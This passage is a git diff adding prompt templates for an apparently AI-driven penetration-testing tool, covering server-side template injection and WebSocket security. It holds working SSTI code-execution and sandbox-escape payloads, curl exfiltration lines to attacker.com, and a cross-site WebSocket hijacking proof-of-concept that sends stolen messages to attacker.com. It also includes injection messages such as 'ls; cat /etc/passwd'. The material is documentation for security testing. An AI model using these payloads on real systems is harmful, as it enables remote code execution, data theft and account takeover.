+{% raw %} +Execution: +{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }} + +Beans access: +{{ beans.get("environment") }} +{% endraw %} + + + +{% raw %} +Basic execution: +<%= system("id") %> +<%= `id` %> +<%= IO.popen("id").read %> + +File read: +<%= File.read("/etc/passwd") %> + +Backtick execution: +<%= `cat /etc/passwd` %> +{% endraw %} + + + +{% raw %} +Prototype access (with vulnerable helpers): +{{#with "s" as |string|}} + {{#with "e"}} + {{#with split as |conslist|}} + {{this.pop}} + {{this.push (lookup string.sub "constructor")}} + {{this.pop}} + {{#with string.split as |codelist|}} + {{this.pop}} + {{this.push "return require('child_process').execSync('id');"}} + {{this.pop}} + {{#each conslist}} + {{#with (string.sub.apply 0 codelist)}} + {{this}} + {{/with}} + {{/each}} + {{/with}} + {{/with}} + {{/with}} +{{/with}} +{% endraw %} + + + +{% raw %} +PHP tag (old versions): +{php}system('id');{/php} + +Static method call: +{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} + +Object instantiation: +{$s=new SplFileObject('/etc/passwd')}{$s->fpassthru()} +{% endraw %} + + + + + +{% raw %} +Jinja2 attribute access alternatives: +- {{foo.bar}} == {{foo['bar']}} == {{foo|attr('bar')}} +- {{foo.__class__}} == {{foo['__class__']}} == {{foo|attr('__class__')}} + +String construction: +- {{'__cla'+'ss__'}} to bypass blacklist +- {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}} (hex encoding) + +Join bypass: +- {{['__clas','s__']|join}} +- {{['os']|join}} + +Unicode bypass: +- Use Unicode normalization: __class__ normalizes to __class__ +{% endraw %} + + + +{% raw %} +Jinja2 sandboxed environment escapes: +- Access via __globals__ of any function +- Use MRO (Method Resolution Order) traversal +- Exploit registered filters and globals + +Twig sandbox bypass: +- Abuse allowed methods that return callable objects +- Chain through __toString magic methods +{% endraw %} + + + +- Encode template markers: %7B%7B instead of {% raw %}{{{% endraw %} +- Use alternative syntax where available +- Split payload across multiple parameters +- Abuse template inheritance/includes +- Time-based blind exploitation when output filtered + + + + + +{% raw %} +Jinja2: +{{ ''.__class__.__mro__[2].__subclasses__()[40]('/dev/random').read(1) }} + +Python sleep: +{{ cycler.__init__.__globals__['__builtins__']['__import__']('time').sleep(5) }} + +Java: +${T(java.lang.Thread).sleep(5000)} +{% endraw %} + + + +{% raw %} +DNS exfiltration: +{{ ''.__class__.__mro__[2].__subclasses__()[40]('|curl attacker.com?d=$(id|base64)').read() }} + +HTTP callback: +${T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/callback')} +{% endraw %} + + + +- Force errors that include evaluated expressions in message +- Trigger exceptions with sensitive data in error output +- Use debug modes that expose evaluation results + + + + +1. Demonstrate template expression evaluation (e.g., {% raw %}{{7*7}}{% endraw %} returns 49) +2. Show escalation beyond simple math to object access +3. Prove code execution with command output or file read +4. If blind, demonstrate OOB callback or timing difference +5. Provide minimal payload that achieves impact + + + +- Client-side template engines (Vue, Angular, React) - these are XSS, not SSTI +- Template syntax displayed but not evaluated (escaped output) +- Sandboxed environments with no dangerous objects accessible +- Input validation preventing template syntax injection + + + +- Remote code execution on application server +- Full server compromise and lateral movement +- Sensitive data disclosure (configs, secrets, database credentials) +- Source code access +- Internal network access from server position +- Cryptographic key theft + + + +1. Start with {% raw %}{{7*7}}{% endraw %} and ${7*7} - they detect most engines. +2. Error messages often reveal the exact template engine and version. +3. Email template features are frequently vulnerable and overlooked. +4. PDF generators often use server-side templates for content. +5. Even sandboxed templates can often be escaped via MRO traversal. +6. Check for multiple template engines in the same application. +7. Template injection in logging/error messages can be exploited even without direct output. + + +SSTI is one of the most direct paths to RCE. If user input reaches a template engine, assume it's exploitable until proven otherwise. The sandbox escape is often possible through object traversal - every template engine provides some path to dangerous functionality. + + diff --git a/strix/prompts/vulnerabilities/websocket_security.jinja b/strix/prompts/vulnerabilities/websocket_security.jinja new file mode 100644 index 00000000..6e74d142 --- /dev/null +++ b/strix/prompts/vulnerabilities/websocket_security.jinja @@ -0,0 +1,323 @@ + +WEBSOCKET SECURITY VULNERABILITIES + +WebSocket connections bypass many traditional web security controls. Browsers send cookies on handshake but don't enforce same-origin policy on established connections. Missing Origin validation, insufficient authentication, and message injection are common vulnerabilities that can lead to session hijacking, data theft, and unauthorized actions. + + +- Real-time web applications (chat, notifications, live updates) +- Trading platforms and financial dashboards +- Collaborative editing tools +- Gaming and streaming platforms +- IoT device communication +- Internal admin dashboards with live data +- GraphQL subscriptions over WebSocket + + + +1. Identify WebSocket endpoints (ws://, wss://) and their purpose +2. Analyze handshake authentication and Origin header handling +3. Test for cross-site WebSocket hijacking (CSWSH) +4. Examine message format and injection points +5. Test authorization on individual message types/channels +6. Check for race conditions and message sequencing issues + + + +- Authentication state synchronization +- Real-time trading/bidding systems +- Administrative control channels +- Private messaging systems +- Live data feeds with sensitive information +- Remote command execution interfaces +- Multi-player game state synchronization + + + + +- Inspect Network tab for ws:// or wss:// connections +- Search JavaScript for WebSocket, Socket.io, ws, SockJS +- Look for Upgrade: websocket headers in HTTP traffic +- Check for Socket.io polling fallback endpoints (/socket.io/) +- GraphQL subscriptions often use wss:// + + + +HTTP handshake request: +GET /ws HTTP/1.1 +Host: target.com +Upgrade: websocket +Connection: Upgrade +Origin: https://target.com +Sec-WebSocket-Key: [base64] +Sec-WebSocket-Version: 13 +Cookie: session=xxx + +Check response: +- Does it validate Origin header? +- Are cookies required? +- Is Sec-WebSocket-Protocol validated? +- Are custom auth headers required? + + + +Raw WebSocket: +- Binary or text frames +- Custom JSON/Protocol Buffers + +Socket.io: +- Messages prefixed with type (0=open, 2=ping, 4=message) +- Namespace prefixing: /namespace,["event",data] + +SockJS: +- o = open, h = heartbeat, a = array message +- Fallback transports: xhr-streaming, xhr-polling + +STOMP: +- CONNECT, SUBSCRIBE, SEND, MESSAGE frames +- Headers in frame format + + + + + +Cross-Site WebSocket Hijacking: + +If Origin not validated, attacker page can: +1. Open WebSocket to vulnerable server +2. Server accepts (cookies sent automatically) +3. Attacker reads messages meant for victim +4. Attacker sends messages as victim + +PoC: +```html +<script> +var ws = new WebSocket('wss://vulnerable.com/ws'); +ws.onmessage = function(e) { + // Exfiltrate data + fetch('https://attacker.com/log?data=' + encodeURIComponent(e.data)); +}; +ws.onopen = function() { + // Send commands as victim + ws.send(JSON.stringify({action: 'getPrivateData'})); +}; +</script> +``` + + + +Per-message authentication issues: +- Session validated on handshake only, not per message +- Token expiration not checked during connection +- Channel subscriptions not authorized +- Admin actions available after auth downgrade + +Test: +1. Connect with valid session +2. Invalidate session (logout in another tab) +3. Continue sending messages - still accepted? +4. Subscribe to privileged channels - allowed? + + + +Input injection in messages: +- NoSQL/SQL injection via message parameters +- Command injection in message handlers +- XSS if messages rendered in DOM +- SSTI if messages processed by templates + +JSON message manipulation: +{"action": "message", "text": "hello", "__proto__": {"admin": true}} +{"type": "command", "cmd": "ls; cat /etc/passwd"} +{"query": {"$ne": null}} + + + +Resource access via message parameters: +- Channel/room IDs without authorization +- User IDs in DM functionality +- Document/file IDs in collaborative tools + +Test: +{"action": "subscribe", "room": "admin-room"} +{"action": "getMessages", "conversationId": "other-user-conversation"} +{"action": "updateDocument", "docId": "not-my-document", "content": "..."} + + + +- Connection exhaustion (open many connections) +- Large message flooding +- Malformed frame handling +- Ping/pong abuse +- Rapid connect/disconnect cycles +- Memory exhaustion via large payloads + + + +Real-time race conditions: +- Bidding systems: place bid during price update +- Inventory: purchase during stock sync +- Games: action during state transition +- Collaborative editing: conflicting edits + +Exploit: +1. Monitor for state-change messages +2. Send action immediately before/after +3. Exploit timing window in server logic + + + + + +1. Victim visits attacker-controlled page +2. Page opens WebSocket to vulnerable server +3. Browser sends victim's cookies automatically +4. Attacker receives all WebSocket messages +5. Can send messages as victim (chat, commands, trades) + + + +Modify message to gain access: +Original: {"role": "user", "action": "view"} +Modified: {"role": "admin", "action": "delete"} + +Subscribe to admin channels: +{"subscribe": "/admin/audit-log"} +{"join": "moderator-room"} + + + +Passive listening: +- Private messages between other users +- Admin activity logs +- System health/debug information +- Trading data and positions + +Active extraction: +{"action": "export", "type": "all_users"} +{"action": "search", "query": "*", "includeDeleted": true} + + + +Execute unauthorized actions: +{"action": "transfer", "amount": 1000, "to": "attacker"} +{"action": "deleteUser", "userId": "admin"} +{"action": "updateConfig", "setting": "debugMode", "value": true} + + + + + +Event injection: +socket.emit('admin:deleteUser', {userId: 1}); +socket.emit('__proto__', {polluted: true}); + +Namespace access: +var adminSocket = io('/admin'); + +Room enumeration: +socket.emit('join', 'room-' + i); + + + +Hub method invocation: +connection.invoke("AdminMethod", args); + +Group membership: +Groups.AddToGroupAsync(Context.ConnectionId, "Admins"); + + + +Channel subscription: +{"command": "subscribe", "identifier": "{\"channel\":\"AdminChannel\"}"} + +Action execution: +{"command": "message", "identifier": "...", "data": "{\"action\":\"admin_action\"}"} + + + +Subscription injection: +{"type": "start", "payload": {"query": "subscription { adminEvents { ... } }"}} + +Introspection via subscription: +{"type": "start", "payload": {"query": "subscription { __schema { types { name } } }"}} + + + + + +- Null Origin (sandboxed iframes, file:// protocol) +- Subdomain variations: ws.evil.target.com +- Protocol switch: http://target.com vs https://target.com +- Case sensitivity: Target.com vs target.com +- Port inclusion: target.com:443 vs target.com + + + +- Token in URL parameter (often not validated post-handshake) +- Expired tokens still accepted for existing connections +- Anonymous connection upgraded to authenticated +- Guest access to privileged channels + + + +- Multiple WebSocket connections +- Message batching +- Connection pooling across subdomains +- Slow message rate under detection threshold + + + + +Command line: +- websocat: CLI WebSocket client +- wscat: Node.js WebSocket client +- wsdump.py: Dump WebSocket traffic + +Browser DevTools: +- Network tab WebSocket frames inspection +- Console: new WebSocket('wss://...') + +Burp Suite: +- WebSocket history and manipulation +- Match and replace for message modification +- Intruder for message fuzzing + + + +1. Demonstrate cross-origin WebSocket connection with cookie authentication +2. Show unauthorized message received or action executed +3. Provide PoC HTML page that exploits CSWSH +4. For message injection, show command output or data exfiltration +5. Document the specific missing security control + + + +- Public WebSocket feeds (stock tickers, public chat) +- Origin validation correctly implemented +- Token-based authentication with per-message validation +- Read-only connections with no sensitive data +- Proper channel-level authorization + + + +- Session hijacking and impersonation +- Real-time data theft (messages, trading info) +- Unauthorized action execution +- Financial fraud in trading applications +- Privacy violations in messaging apps +- Administrative access in control systems + + + +1. CSWSH is WebSocket's CSRF - always test Origin validation first. +2. Socket.io has its own protocol layer - understand the framing before injecting. +3. Per-message authorization is often missing even when handshake is authenticated. +4. Long-lived connections mean session revocation rarely works. +5. GraphQL subscriptions often inherit GraphQL's authorization weaknesses. +6. Race conditions are common in real-time systems - test concurrent operations. +7. Browsers send cookies automatically on WebSocket upgrade - no CSRF tokens needed. + + +WebSocket security often relies solely on the assumption that only legitimate clients will connect. Test cross-origin connection, per-message authorization, and channel access controls. The handshake is HTTP, but everything after is largely unprotected by browser security policies. + +